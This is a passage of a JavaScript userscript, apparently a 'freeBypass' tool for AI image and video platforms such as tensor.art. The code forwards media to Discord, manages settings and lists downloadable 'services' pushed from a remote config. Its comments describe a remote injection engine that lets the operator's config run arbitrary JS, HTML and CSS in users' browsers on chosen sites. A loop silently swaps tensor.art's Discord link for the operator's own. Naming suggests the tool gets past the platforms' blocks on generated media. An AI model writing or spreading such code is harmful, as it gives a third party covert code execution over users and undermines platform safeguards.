embed.fields.push({ name: 'Creation', value: String(extraInfo.workspaceType).replace(/_/g, ' '), inline: true });
}
if (extraInfo?.templateName) {
embed.fields.push({ name: 'Template', value: extraInfo.templateName, inline: false });
}
if (extraInfo?.templateId) {
embed.fields.push({ name: 'Template ID', value: `\`${extraInfo.templateId}\``, inline: true });
}
const payload = {
embeds: [embed]
};
const parseDiscordRateLimit = async (response) => {
const { json, text } = await tryReadJsonSafe(response);
const retryAfter = Number(json?.retry_after);
const retryMs = Number.isFinite(retryAfter) ? retryAfter * 1000 : null;
return { retryAfterMs: retryMs, bodyText: text };
};
// Try to send the file directly
const formData = new FormData();
try {
const mediaBlob = await fetch(mediaUrl).then(r => r.blob());
const uploadExt = extFromMime(mediaType) || (isVideo ? 'mp4' : 'png');
const fileName = `bypass_${taskId || Date.now()}.${uploadExt}`;
formData.append('file', mediaBlob, fileName);
formData.append('payload_json', JSON.stringify(payload));
const response = await fetch(settings.discordWebhook, {
method: 'POST',
body: formData
});
if (response.ok) {
if (domInjectDebug) console.log('[Discord] Media sent successfully');
updateMediaStatus(imageId || taskId || mediaUrl, { discord: true });
return { ok: true, mode: 'media', retryAfterMs: null };
}
if (response.status === 429) {
const { retryAfterMs, bodyText } = await parseDiscordRateLimit(response);
devLog('discord', 'Discord rate-limited (upload)', { status: response.status, body: bodyText, taskId, imageId }, 'warning', 'developer');
return { ok: false, mode: 'error', error: 'Discord rate-limited (upload)', retryAfterMs: retryAfterMs || null };
}
} catch (err) {
if (domInjectDebug) console.warn('[Discord] File upload failed, sending URL:', err);
devLog('discord', 'Discord file upload failed (fallback to URL)', { error: String(err?.stack || err), taskId, imageId }, 'warning', 'developer');
}
// Fallback: send URL in embed
embed.fields.push({ name: 'Media URL', value: mediaUrl, inline: false });
const response = await fetch(settings.discordWebhook, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
if (response.ok) {
if (domInjectDebug) console.log('[Discord] URL sent successfully');
updateMediaStatus(imageId || taskId || mediaUrl, { discord: true });
return { ok: true, mode: 'url', retryAfterMs: null };
} else {
let bodyText = '';
let retryAfterMs = null;
if (response.status === 429) {
const parsed = await parseDiscordRateLimit(response);
bodyText = parsed.bodyText;
retryAfterMs = parsed.retryAfterMs;
} else {
try { bodyText = await response.text(); } catch { /* ignore */ }
}
if (domInjectDebug) console.warn('[Discord] Send failed');
devLog('discord', 'Discord webhook send failed', { status: response.status, statusText: response.statusText, body: bodyText, taskId, imageId }, 'error', 'developer');
return { ok: false, mode: 'error', error: `Discord send failed: ${response.status} ${response.statusText}`, retryAfterMs: retryAfterMs || null };
}
} catch (err) {
console.warn('[Discord] Error:', err);
devLog('discord', 'Discord send threw an error', { error: String(err?.stack || err), taskId, imageId }, 'error', 'developer');
return { ok: false, mode: 'error', error: String(err?.message || err), retryAfterMs: null };
}
}
function loadMediaStatus() {
if (mediaStatusCache) return mediaStatusCache;
try {
mediaStatusCache = JSON.parse(localStorage.getItem(MEDIA_STATUS_KEY) || '{}');
} catch {
mediaStatusCache = {};
}
return mediaStatusCache;
}
function saveMediaStatus() {
localStorage.setItem(MEDIA_STATUS_KEY, JSON.stringify(mediaStatusCache || {}));
}
function loadAnnouncementCache() {
if (announcementCache) return announcementCache;
try {
announcementCache = JSON.parse(localStorage.getItem(ANNOUNCEMENT_CACHE_KEY) || '{}');
} catch {
announcementCache = {};
}
return announcementCache;
}
function safeLocalStorageSet(key, value) {
try {
localStorage.setItem(key, value);
return true;
} catch (err) {
// localStorage can fail (quota exceeded) because this script stores a lot of cached task/item data.
// Try to free a little space from non-critical caches and retry.
try {
localStorage.removeItem(CONFIG_CACHE_KEY);
} catch { /* ignore */ }
try {
localStorage.removeItem(ANNOUNCEMENT_CACHE_KEY);
} catch { /* ignore */ }
try {
localStorage.setItem(key, value);
return true;
} catch (err2) {
console.warn('[Storage] Failed to persist key:', key, err2);
return false;
}
}
}
function saveAnnouncementCache() {
safeLocalStorageSet(ANNOUNCEMENT_CACHE_KEY, JSON.stringify(announcementCache || {}));
}
function loadServicesState() {
if (servicesStateCache) return servicesStateCache;
try {
servicesStateCache = JSON.parse(localStorage.getItem(SERVICES_STATE_KEY) || '{}');
} catch {
servicesStateCache = {};
}
if (!servicesStateCache || typeof servicesStateCache !== 'object') servicesStateCache = {};
if (servicesStateCache.v !== 1) {
// Simple forward-compat: keep whatever is there but normalize the shape.
servicesStateCache = { v: 1, updatedAt: Date.now(), items: servicesStateCache.items && typeof servicesStateCache.items === 'object' ? servicesStateCache.items : {} };
}
if (!servicesStateCache.items || typeof servicesStateCache.items !== 'object') servicesStateCache.items = {};
return servicesStateCache;
}
function saveServicesState() {
const state = loadServicesState();
state.updatedAt = Date.now();
safeLocalStorageSet(SERVICES_STATE_KEY, JSON.stringify(state));
}
function getServiceLocalState(serviceId) {
if (!serviceId) return {};
const state = loadServicesState();
const entry = state.items[String(serviceId)] || {};
return entry && typeof entry === 'object' ? entry : {};
}
function patchServiceLocalState(serviceId, patch = {}) {
if (!serviceId) return;
const state = loadServicesState();
const key = String(serviceId);
const current = getServiceLocalState(key);
state.items[key] = { ...current, ...(patch || {}), updatedAt: Date.now() };
saveServicesState();
}
function getRemoteFeatureFlagEnableServices(config = remoteConfig) {
return config?.configuration?.feature_flags?.enable_services === true;
}
function getRemoteServicesConfig(config = remoteConfig) {
const raw = config?.services;
const enabled = raw?.enabled === true;
const items = Array.isArray(raw?.items) ? raw.items : [];
return { enabled, items };
}
function getEnabledRemoteServices(config = remoteConfig) {
const { enabled, items } = getRemoteServicesConfig(config);
if (!enabled) return [];
return items
.filter(s => s && typeof s === 'object')
.filter(s => (s.enabled !== false))
.filter(s => typeof s.id === 'string' && s.id.trim() !== '')
.map(s => ({
id: String(s.id),
type: String(s.type || 'app').toLowerCase(),
title: String(s.title || s.name || s.id),
version: s.version != null ? String(s.version) : '',
required_update: !!(s.required_update || s.update_required),
logo_url: typeof s.logo_url === 'string' ? s.logo_url : (typeof s.logo === 'string' ? s.logo : ''),
download_url: typeof s.download_url === 'string' ? s.download_url : (typeof s.downloadUrl === 'string' ? s.downloadUrl : ''),
source_url: typeof s.source_url === 'string' ? s.source_url : (typeof s.sourceUrl === 'string' ? s.sourceUrl : ''),
description: s.description && typeof s.description === 'object' ? s.description : {
html: typeof s.description_html === 'string' ? s.description_html : '',
text: typeof s.description_text === 'string' ? s.description_text : (typeof s.description === 'string' ? s.description : '')
}
}))
.sort((a, b) => a.title.localeCompare(b.title));
}
function shouldShowServicesTab(config = remoteConfig) {
if (!getRemoteFeatureFlagEnableServices(config)) return false;
const services = getEnabledRemoteServices(config);
return services.length > 0;
}
function isProbablySafeHttpUrl(url) {
if (!url) return false;
try {
const u = new URL(String(url), location.href);
return u.protocol === 'http:' || u.protocol === 'https:';
} catch {
return false;
}
}
function sanitizeServiceDescriptionHtml(inputHtml) {
const html = String(inputHtml || '').trim();
if (!html) return '';
try {
const doc = new DOMParser().parseFromString(`<div>${html}</div>`, 'text/html');
const root = doc.body;
const allowed = new Set([
'DIV', 'P', 'BR', 'B', 'STRONG', 'I', 'EM', 'U', 'S',
'UL', 'OL', 'LI', 'A', 'CODE', 'PRE', 'SPAN',
'H1', 'H2', 'H3', 'H4', 'H5', 'H6',
'HR', 'BLOCKQUOTE'
]);
const walk = (node) => {
const children = Array.from(node.childNodes || []);
for (const child of children) {
if (child.nodeType === Node.ELEMENT_NODE) {
const el = child;
const tag = el.tagName;
// Drop dangerous/unknown tags entirely.
if (!allowed.has(tag)) {
// Preserve readable text if any.
const txt = doc.createTextNode(el.textContent || '');
el.replaceWith(txt);
continue;
}
// Strip all event handlers/styles and keep a minimal attribute allowlist.
const attrs = Array.from(el.attributes || []);
for (const a of attrs) {
const name = String(a.name || '').toLowerCase();
if (name.startsWith('on')) {
el.removeAttribute(a.name);
continue;
}
if (name === 'style') {
el.removeAttribute(a.name);
continue;
}
if (tag === 'A') {
if (!['href', 'target', 'rel', 'title'].includes(name)) {
el.removeAttribute(a.name);
}
} else {
// For other tags: no attributes.
el.removeAttribute(a.name);
}
}
if (tag === 'A') {
const href = el.getAttribute('href') || '';
if (!isProbablySafeHttpUrl(href)) {
// Convert to plain text if URL is unsafe.
const txt = doc.createTextNode(el.textContent || href);
el.replaceWith(txt);
continue;
}
el.setAttribute('target', '_blank');
el.setAttribute('rel', 'noopener noreferrer');
}
walk(el);
}
}
};
walk(root);
return root.innerHTML || '';
} catch {
return escapeHtml(html);
}
}
function parseLooseSemver(v) {
const raw = String(v || '').trim();
if (!raw) return null;
const parts = raw.split('.').slice(0, 4).map(p => {
const m = String(p).match(/\d+/);
return m ? Number(m[0]) : 0;
});
while (parts.length < 3) parts.push(0);
return parts;
}
function compareLooseSemver(a, b) {
const pa = parseLooseSemver(a);
const pb = parseLooseSemver(b);
if (!pa && !pb) return 0;
if (pa && !pb) return 1;
if (!pa && pb) return -1;
for (let i = 0; i < Math.max(pa.length, pb.length); i++) {
const av = Number(pa[i] || 0);
const bv = Number(pb[i] || 0);
if (av > bv) return 1;
if (av < bv) return -1;
}
return 0;
}
function getServiceUpdateState(service) {
const local = getServiceLocalState(service?.id);
const installed = !!local.installed;
const installedVersion = local.installedVersion ? String(local.installedVersion) : '';
const remoteVersion = service?.version ? String(service.version) : '';
const versionCmp = installed && remoteVersion ? compareLooseSemver(remoteVersion, installedVersion) : 0;
const updateAvailable = installed && !!remoteVersion && (!!installedVersion ? versionCmp > 0 : remoteVersion !== installedVersion);
const updateRequired = !!service?.required_update && updateAvailable;
return { installed, installedVersion, remoteVersion, updateAvailable, updateRequired };
}
function showServiceDetailsDialog(service) {
if (!service || !service.id) return;
const colors = getThemeColors();
const { installed, installedVersion, remoteVersion, updateAvailable, updateRequired } = getServiceUpdateState(service);
const serviceType = service.type === 'script' ? 'Script' : 'Desktop App';
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
inset: 0;
z-index: 10000025;
background: ${settings.inheritTheme ? 'var(--mask-primary, rgba(2,6,23,0.88))' : 'rgba(2,6,23,0.9)'};
backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
padding: 16px;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
width: min(760px, 96vw);
max-height: min(90vh, 820px);
overflow: hidden;
border-radius: 16px;
border: 1px solid ${colors.border};
background: ${colors.bg};
box-shadow: 0 28px 90px rgba(0,0,0,0.55);
display: flex;
flex-direction: column;
color: ${colors.text};
`;
const header = document.createElement('div');
header.style.cssText = `
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
padding: 14px 14px;
background: ${colors.bgSecondary};
border-bottom: 1px solid ${colors.border};
`;
const left = document.createElement('div');
left.style.cssText = 'display:flex; gap:12px; align-items:center; min-width:0;';
const logo = document.createElement('div');
logo.className = 'bypass-service-logo';
if (service.logo_url && isProbablySafeHttpUrl(service.logo_url)) {
const img = document.createElement('img');
img.src = service.logo_url;
img.alt = service.title;
img.referrerPolicy = 'no-referrer';
img.loading = 'lazy';
img.onerror = () => {
logo.innerHTML = '<i class="fas fa-cube"></i>';
};
logo.appendChild(img);
} else {
logo.innerHTML = '<i class="fas fa-cube"></i>';
}
const titleWrap = document.createElement('div');
titleWrap.style.cssText = 'display:flex; flex-direction:column; gap:4px; min-width:0;';
const topLine = document.createElement('div');
topLine.style.cssText = 'display:flex; gap:10px; align-items:center; flex-wrap:wrap;';
topLine.innerHTML = `
<div style="font-weight:900; font-size:14px; color:${colors.text}; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(service.title)}</div>
<span class="bypass-chip">${escapeHtml(serviceType)}</span>
${updateRequired ? `<span class="bypass-chip bypass-chip-danger">Update required</span>` : updateAvailable ? `<span class="bypass-chip bypass-chip-warn">Update available</span>` : installed ? `<span class="bypass-chip bypass-chip-success">Installed</span>` : `<span class="bypass-chip">Not installed</span>`}
`;
const subLine = document.createElement('div');
subLine.style.cssText = `font-size:11px; color:${colors.textSecondary}; display:flex; gap:10px; flex-wrap:wrap; align-items:center;`;
const installedPart = installed ? `Installed: <strong>${escapeHtml(installedVersion || 'unknown')}</strong>` : 'Installed: <strong>no</strong>';
const remotePart = remoteVersion ? `Latest: <strong>${escapeHtml(remoteVersion)}</strong>` : '';
subLine.innerHTML = `${installedPart}${remotePart ? ` • ${remotePart}` : ''}`;
titleWrap.appendChild(topLine);
titleWrap.appendChild(subLine);
left.appendChild(logo);
left.appendChild(titleWrap);
const closeBtn = document.createElement('button');
closeBtn.className = 'bypass-btn bypass-btn-secondary';
closeBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
closeBtn.onclick = () => overlay.remove();
header.appendChild(left);
header.appendChild(closeBtn);
const body = document.createElement('div');
body.style.cssText = 'padding:14px; overflow:auto; display:flex; flex-direction:column; gap:12px;';
const caution = document.createElement('div');
caution.className = 'bypass-service-caution';
caution.innerHTML = `
<div style="display:flex; gap:10px; align-items:flex-start;">
<i class="fas fa-shield-halved" style="color:${colors.warning}; margin-top:2px;"></i>
<div style="min-width:0;">
<div style="font-weight:900; color:${colors.text}; font-size:12px; margin-bottom:4px;">Security note</div>
<div style="color:${colors.textSecondary}; font-size:11px; line-height:1.6;">
Services are provided via remote config. Only download apps/scripts you trust. Prefer services that publish source code.
</div>
</div>
</div>
`;
body.appendChild(caution);
const descCard = document.createElement('div');
descCard.className = 'bypass-service-desc';
const html = service?.description?.html ? sanitizeServiceDescriptionHtml(service.description.html) : '';
const text = service?.description?.text ? String(service.description.text) : '';
descCard.innerHTML = `
<div style="font-weight:900; color:${colors.text}; font-size:12px; margin-bottom:8px;"><i class="fas fa-align-left" style="color:${colors.primary};"></i> Description</div>
<div class="bypass-service-desc-body">${html || (text ? `<div style="white-space:pre-wrap;">${escapeHtml(text)}</div>` : `<div style="color:${colors.textSecondary};">No description provided.</div>`)}</div>
`;
body.appendChild(descCard);
const linksCard = document.createElement('div');
linksCard.className = 'bypass-service-links';
const downloadUrl = service.download_url || '';
const sourceUrl = service.source_url || '';
const hasDownload = isProbablySafeHttpUrl(downloadUrl);
const hasSource = isProbablySafeHttpUrl(sourceUrl);
linksCard.innerHTML = `
<div style="display:flex; align-items:center; justify-content:space-between; gap:10px; flex-wrap:wrap;">
<div style="font-weight:900; color:${colors.text}; font-size:12px;"><i class="fas fa-link" style="color:${colors.primary};"></i> Links</div>
<div style="font-size:11px; color:${colors.textSecondary};">${escapeHtml(service.id)}</div>
</div>
<div style="margin-top:10px; display:grid; gap:10px;">
<div>
<div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:6px;">Download</div>
<div style="font-family:Consolas, 'Courier New', monospace; font-size:11px; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; word-break:break-all;">${hasDownload ? `<a href="${escapeHtml(downloadUrl)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd; text-decoration:none;">${escapeHtml(downloadUrl)}</a>` : `<span style="color:${colors.textSecondary};">Not available</span>`}</div>
</div>
<div>
<div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:6px;">Source code</div>
<div style="font-family:Consolas, 'Courier New', monospace; font-size:11px; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; word-break:break-all;">${hasSource ? `<a href="${escapeHtml(sourceUrl)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd; text-decoration:none;">${escapeHtml(sourceUrl)}</a>` : `<span style="color:${colors.textSecondary};">Not provided</span>`}</div>
</div>
</div>
`;
body.appendChild(linksCard);
const footer = document.createElement('div');
footer.style.cssText = `
padding: 14px;
border-top: 1px solid ${colors.border};
background: ${colors.bgSecondary};
display: flex;
gap: 10px;
align-items: center;
justify-content: space-between;
flex-wrap: wrap;
`;
const leftNote = document.createElement('div');
leftNote.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.5;`;
leftNote.innerHTML = updateRequired
? `<span style="color:${colors.error}; font-weight:900;">Update required.</span> You should update this service before using related features.`
: updateAvailable
? `An update is available.`
: installed
? `Installed state is tracked locally (browser).`
: `Not installed.`;
const actions = document.createElement('div');
actions.style.cssText = 'display:flex; gap:8px; align-items:center; flex-wrap:wrap;';
const mkBtn = (cls, labelHtml, onClick, disabled = false) => {
const b = document.createElement('button');
b.className = `bypass-btn ${cls}`;
b.style.cssText = 'width:auto; padding:9px 12px; font-size:11px;';
b.innerHTML = labelHtml;
b.disabled = !!disabled;
b.onclick = onClick;
return b;
};
const primaryLabel = updateAvailable ? '<i class="fas fa-rotate"></i> Update' : (installed ? '<i class="fas fa-download"></i> Re-download' : '<i class="fas fa-download"></i> Download');
const primaryBtn = mkBtn('bypass-btn-primary', primaryLabel, () => {
if (!hasDownload) {
showToast('No download URL provided for this service', 'warning');
return;
}
try {
window.open(downloadUrl, '_blank', 'noopener,noreferrer');
} catch {
// ignore
}
patchServiceLocalState(service.id, {
installed: true,
installedVersion: remoteVersion || installedVersion || null,
installedAt: getServiceLocalState(service.id).installedAt || Date.now(),
lastActionAt: Date.now()
});
showToast(updateAvailable ? 'Update opened (marked updated locally)' : 'Download opened (marked installed locally)', 'success');
overlay.remove();
if (isExpanded) updateUI();
}, !hasDownload);
const removeBtn = mkBtn('bypass-btn-danger', '<i class="fas fa-trash"></i> Remove', () => {
showConfirmDialog(`Remove "${service.title}" from local installed list?`, () => {
patchServiceLocalState(service.id, {
installed: false,
installedVersion: null,
removedAt: Date.now(),
lastActionAt: Date.now()
});
showToast('Removed (local state only)', 'success');
overlay.remove();
if (isExpanded) updateUI();
});
}, !installed);
const openSourceBtn = mkBtn('bypass-btn-secondary', '<i class="fas fa-code"></i> Source', () => {
if (!hasSource) return;
try {
window.open(sourceUrl, '_blank', 'noopener,noreferrer');
} catch {
// ignore
}
}, !hasSource);
const copyDownloadBtn = mkBtn('bypass-btn-secondary', '<i class="fas fa-copy"></i> Copy download', async () => {
if (!hasDownload) return;
try {
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(downloadUrl);
} else {
const ta = document.createElement('textarea');
ta.value = downloadUrl;
document.body.appendChild(ta);
ta.select();
document.execCommand('copy');
ta.remove();
}
showToast('Copied download URL', 'success');
} catch {
showToast('Copy failed', 'error');
}
}, !hasDownload);
actions.appendChild(primaryBtn);
actions.appendChild(removeBtn);
actions.appendChild(openSourceBtn);
actions.appendChild(copyDownloadBtn);
footer.appendChild(leftNote);
footer.appendChild(actions);
dialog.appendChild(header);
dialog.appendChild(body);
dialog.appendChild(footer);
overlay.appendChild(dialog);
overlay.onclick = (e) => {
if (e.target === overlay) overlay.remove();
};
document.body.appendChild(overlay);
}
function hashStringFNV1a(input) {
const str = String(input || '');
let h = 2166136261;
for (let i = 0; i < str.length; i++) {
h ^= str.charCodeAt(i);
h = Math.imul(h, 16777619);
}
return (h >>> 0).toString(16);
}
function getAnnouncementSignature(announcement) {
if (!announcement) return '';
const raw = JSON.stringify({
id: announcement.id,
title: announcement.title,
date: announcement.date,
status: announcement.status,
type: announcement.type,
display_type: announcement.display_type,
content: announcement.content,
links: announcement.links,
injection: announcement.injection
});
// Store a compact signature (hash) to reduce localStorage pressure.
return `fnv1a:${hashStringFNV1a(raw)}`;
}
function getMediaStatus(imageId) {
const cache = loadMediaStatus();
return cache[imageId] || {};
}
function updateMediaStatus(imageId, patch) {
if (!imageId) return;
const cache = loadMediaStatus();
cache[imageId] = {
...cache[imageId],
...patch,
updatedAt: Date.now()
};
saveMediaStatus();
updateStatusOverlays(imageId);
refreshActiveBlockedTooltip(imageId);
updateItemStatusBadges(imageId);
if (isExpanded) {
updateHomeProgressUI();
updateTasksTabUI();
refreshSelectionUI();
}
}
function updateItemStatusBadges(imageId) {
const icons = renderStatusIcons(imageId);
document.querySelectorAll(`[data-bypass-item-status="${imageId}"]`).forEach(el => {
el.innerHTML = icons ? `<span style="font-weight: 600;">Status:</span> ${icons}` : '';
});
document.querySelectorAll(`[data-bypass-gallery-status="${imageId}"]`).forEach(el => {
el.innerHTML = icons;
el.style.display = icons ? 'flex' : 'none';
});
}
function updateStatusOverlays(imageId) {
const overlays = document.querySelectorAll(`[data-bypass-status-overlay][data-bypass-image-id="${imageId}"]`);
if (!overlays.length) return;
const icons = renderStatusIcons(imageId);
overlays.forEach(overlay => {
overlay.innerHTML = icons || '<i class="fas fa-circle" title="No status"></i>';
});
}
function renderStatusIcons(imageId) {
const status = getMediaStatus(imageId);
const icons = [];
if (status.downloaded) icons.push('<i class="fas fa-download" title="Downloaded"></i>');
if (status.telegram) icons.push('<i class="fab fa-telegram" title="Sent to Telegram"></i>');
if (status.discord) icons.push('<i class="fab fa-discord" title="Sent to Discord"></i>');
if (status.telegramError || status.discordError || status.downloadError) {
const msg = status.lastError ? `Error: ${status.lastError}` : 'Last action failed';
icons.push(`<i class="fas fa-exclamation-triangle" title="${msg}"></i>`);
}
return icons.join('');
}
function getRemoteRuntimeConfig(config = remoteConfig) {
const remoteCfg = config?.configuration || {};
const notifications = {
...remoteRuntimeDefaults.notifications,
...(remoteCfg.notifications || {})
};
const runtime_controls = {
...remoteRuntimeDefaults.runtime_controls,
...(remoteCfg.runtime_controls || {})
};
return { notifications, runtime_controls };
}
function applyRemoteRuntimeConfig(config = remoteConfig) {
const runtime = getRemoteRuntimeConfig(config);
const controls = runtime.runtime_controls || {};
if (controls.disable_safe_view) settings.safeViewMode = false;
if (controls.disable_dom_injection) settings.injectOnDom = false;
if (controls.disable_telegram) settings.telegramEnabled = false;
if (controls.disable_discord) settings.discordEnabled = false;
if (controls.disable_profile_tasks) settings.enableTaskProfilesCreation = false;
if (typeof controls.force_inherit_theme === 'boolean') {
settings.inheritTheme = controls.force_inherit_theme;
}
if (typeof controls.force_preview === 'boolean') {
settings.preview = controls.force_preview;
}
if (typeof controls.force_show_bypassed_link === 'boolean') {
settings.showBypassedLink = controls.force_show_bypassed_link;
}
saveSettings();
if (!settings.injectOnDom && !settings.safeViewMode) {
stopDomInjectionWatcher();
}
}
// ── Remote Default Settings ───────────────────────────────────────────────────
// Merges config.configuration.default_settings into `settings` for any key
// the user hasn't explicitly saved yet (i.e. not present in their localStorage).
function applyRemoteDefaultSettings(config) {
const ds = config?.configuration?.default_settings;
if (!ds || typeof ds !== 'object') return;
let changed = false;
const savedKeys = new Set(Object.keys(JSON.parse(localStorage.getItem('freeBypassSettings') || '{}')));
for (const [key, remoteDefault] of Object.entries(ds)) {
if (!(key in defaultSettings)) continue; // only known keys
if (!savedKeys.has(key)) {
settings[key] = remoteDefault;
changed = true;
}
}
if (changed) saveSettings();
}
// ── Remote Settings Control ───────────────────────────────────────────────────
// Populates remoteSettingsControl from config.configuration.settings_control.
// Each entry: settingKey → { locked: bool, note: string }
function applyRemoteSettingsControl(config) {
const sc = config?.configuration?.settings_control;
remoteSettingsControl = (sc && typeof sc === 'object') ? sc : {};
}
// ── Remote Platform Control ───────────────────────────────────────────────────
// config.configuration.platform_control: { pixverse: {enabled}, grok: {enabled}, ... }
// When a platform is disabled remotely, its UI setting is forced off.
function applyRemotePlatformControl(config) {
const pc = config?.configuration?.platform_control;
remotePlatformControl = (pc && typeof pc === 'object') ? pc : {};
const platformUiMap = {
pixverse: 'showPixverseUi',
grok: 'showGrokUi',
higgsfield: 'showHiggsfieldUi',
hailuo: 'showHailuoUi',
};
let changed = false;
for (const [platform, uiKey] of Object.entries(platformUiMap)) {
if (remotePlatformControl[platform]?.enabled === false && settings[uiKey]) {
settings[uiKey] = false;
changed = true;
}
}
if (changed) saveSettings();
}
// Returns true if a platform is enabled per remoteConfig (defaults true).
function isPlatformEnabled(name) {
const ctrl = remotePlatformControl[String(name || '').toLowerCase()];
return !ctrl || ctrl.enabled !== false;
}
// ── Discord Community Replace ─────────────────────────────────────────────────
// When config.configuration.community_discord.replace_enabled is true,
// scans the page for the tensor.art discord link and replaces it with ours.
function startDiscordReplaceLoop(config) {
const dc = config?.configuration?.community_discord;
if (!dc?.replace_enabled || !dc?.url) {
if (_discordReplaceInterval) { clearInterval(_discordReplaceInterval); _discordReplaceInterval = null; }
return;
}
const newUrl = String(dc.url).trim();
if (!newUrl || _discordReplaceInterval) return;
const run = () => {
try {
document.querySelectorAll('a[href*="discord.gg/qYjANGqBED"]').forEach(a => {
if (a.href.includes('qYjANGqBED')) a.href = newUrl;
});
} catch { /* ignore */ }
};
run();
_discordReplaceInterval = setInterval(run, 1800);
}
function getRemoteNotificationEntries(config = remoteConfig) {
const runtime = getRemoteRuntimeConfig(config);
const notificationsCfg = runtime.notifications || {};
const entries = [];
if (notificationsCfg.includeAnnouncements !== false && Array.isArray(config?.announcements)) {
config.announcements
.filter(a => a && a.status === 'published')
.forEach(a => {
entries.push({
id: `ann:${a.id || Math.random()}`,
kind: 'announcement',
title: a.title || 'Announcement',
author: a.author || 'System',
date: a.date || '',
priority: a.priority || 'info',
html: a?.content?.html || '',
text: a?.content?.text || '',
links: Array.isArray(a.links) ? a.links : []
});
});
}
if (notificationsCfg.includeUpdates !== false && Array.isArray(config?.updates)) {
config.updates.forEach(u => {
entries.push({
id: `upd:${u.version || Math.random()}`,
kind: 'update',
title: u.title || `Update ${u.version || ''}`,
author: 'System Update',
date: u.released || '',
priority: u.required ? 'critical' : (u.type || 'feature'),
html: u?.message?.html || '',
text: u?.message?.text || '',
links: u?.download_url ? [{ url: u.download_url, label: 'Download update', icon: 'fas fa-download' }] : []
});
});
}
const toTs = (v) => {
const t = Date.parse(v || '');
return Number.isFinite(t) ? t : 0;
};
entries.sort((a, b) => toTs(b.date) - toTs(a.date));
const maxItems = Math.max(1, Number(notificationsCfg.maxItems) || 100);
return entries.slice(0, maxItems);
}
async function fetchRemoteConfig() {
return await fetchRemoteConfigWithOptions({});
}
function loadRemoteConfigMeta() {
try {
const raw = localStorage.getItem(CONFIG_CACHE_META_KEY);
if (!raw) return { etag: null, lastModified: null, lastCheckedAt: 0, lastOkAt: 0, lastStatus: null };
const parsed = JSON.parse(raw);
return {
etag: typeof parsed?.etag === 'string' ? parsed.etag : null,
lastModified: typeof parsed?.lastModified === 'string' ? parsed.lastModified : null,
lastCheckedAt: Number(parsed?.lastCheckedAt) || 0,
lastOkAt: Number(parsed?.lastOkAt) || 0,
lastStatus: parsed?.lastStatus || null
};
} catch {
return { etag: null, lastModified: null, lastCheckedAt: 0, lastOkAt: 0, lastStatus: null };
}
}
function saveRemoteConfigMeta(patch = {}) {
const cur = loadRemoteConfigMeta();
const next = { ...cur, ...(patch || {}) };
try {
safeLocalStorageSet(CONFIG_CACHE_META_KEY, JSON.stringify(next));
} catch {
// ignore
}
return next;
}
function getRemoteConfigCacheTtlMs(config = remoteConfig) {
const ttl = Number(config?.configuration?.cache?.ttl);
if (Number.isFinite(ttl) && ttl > 0) return ttl;
return CONFIG_CACHE_TTL;
}
function getRemoteConfigPollIntervalMs() {
// Keep traffic predictable: always check once every 5 minutes.
return 5 * 60 * 1000;
}
function parseRawHeadersMap(rawHeaders = '') {
const out = {};
String(rawHeaders || '').split(/\r?\n/).forEach((line) => {
const idx = line.indexOf(':');
if (idx <= 0) return;
const key = line.slice(0, idx).trim().toLowerCase();
const value = line.slice(idx + 1).trim();
if (key) out[key] = value;
});
return out;
}
function gmRequestRemoteConfig(reqHeaders = {}) {
const gmRequest =
(typeof GM !== 'undefined' && GM && typeof GM.xmlHttpRequest === 'function')
? GM.xmlHttpRequest.bind(GM)
: (typeof GM_xmlhttpRequest === 'function' ? GM_xmlhttpRequest : null);
if (!gmRequest) return Promise.resolve(null);
return new Promise((resolve) => {
try {
gmRequest({
method: 'GET',
url: CONFIG_URL,
headers: reqHeaders,
onload: (resp) => {
const headersMap = parseRawHeadersMap(resp?.responseHeaders || '');
const status = Number(resp?.status) || 0;
resolve({
status,
ok: status >= 200 && status < 300,
getHeader: (name) => headersMap[String(name || '').toLowerCase()] || null,
json: async () => JSON.parse(String(resp?.responseText || '{}'))
});
},
onerror: () => resolve(null),
ontimeout: () => resolve(null)
});
} catch {
resolve(null);
}
});
}
// ── Remote DOM Injection Engine ──────────────────────────────────────────────
// Allows the remote config JSON to inject arbitrary HTML, CSS, and JS into
// the user's browser on specific pages. Controlled by:
// config.configuration.runtime_controls.remote_injections
//
// Injection schema per entry:
// id – unique string (used to de-duplicate and dismiss)
// enabled – bool (false = skip silently)
// type – "html" | "css" | "js" | "all"
// match – { domains[], pathPattern (regex), once (bool) }
// target – { selector (CSS), position ("afterbegin"|"beforeend"|"beforebegin"|"afterend") }
// content – HTML string to inject (for type html / all)
// style – CSS string to inject via <style> (for type css / all)
// script – JS string to eval in page context (for type js / all)
// dismissible – bool: show a close ✕ button on the injected HTML wrapper
// priority – number: lower = injected first (default 10)
const _remoteInjectionAppliedIds = new Set();
const _remoteInjectionDismissedKey = 'freeBypassRemoteInjectionsDismissedV1';
let _remoteInjectionDismissed = (() => {
try { return new Set(JSON.parse(localStorage.getItem(_remoteInjectionDismissedKey) || '[]')); }
catch { return new Set(); }
})();
function _remoteInjectionMatchesPage(entry) {
if (!entry || entry.enabled === false) return false;
const match = entry.match || {};
// Domain check
if (Array.isArray(match.domains) && match.domains.length) {
const host = location.hostname.replace(/^www\./, '');
if (!match.domains.some(d => host === d || host.endsWith('.' + d))) return false;
}
// Path pattern check
if (match.pathPattern) {
try {
if (!new RegExp(match.pathPattern).test(location.pathname)) return false;
} catch { return false; }
}
return true;
}
function _applyRemoteInjectionEntry(entry) {
const id = String(entry.id || '');
if (!id) return;
if (_remoteInjectionAppliedIds.has(id)) return; // already injected this session
if (entry.match?.once && _remoteInjectionDismissed.has(id)) return; // user dismissed once-only
if (!_remoteInjectionMatchesPage(entry)) return;
const type = entry.type || 'html';
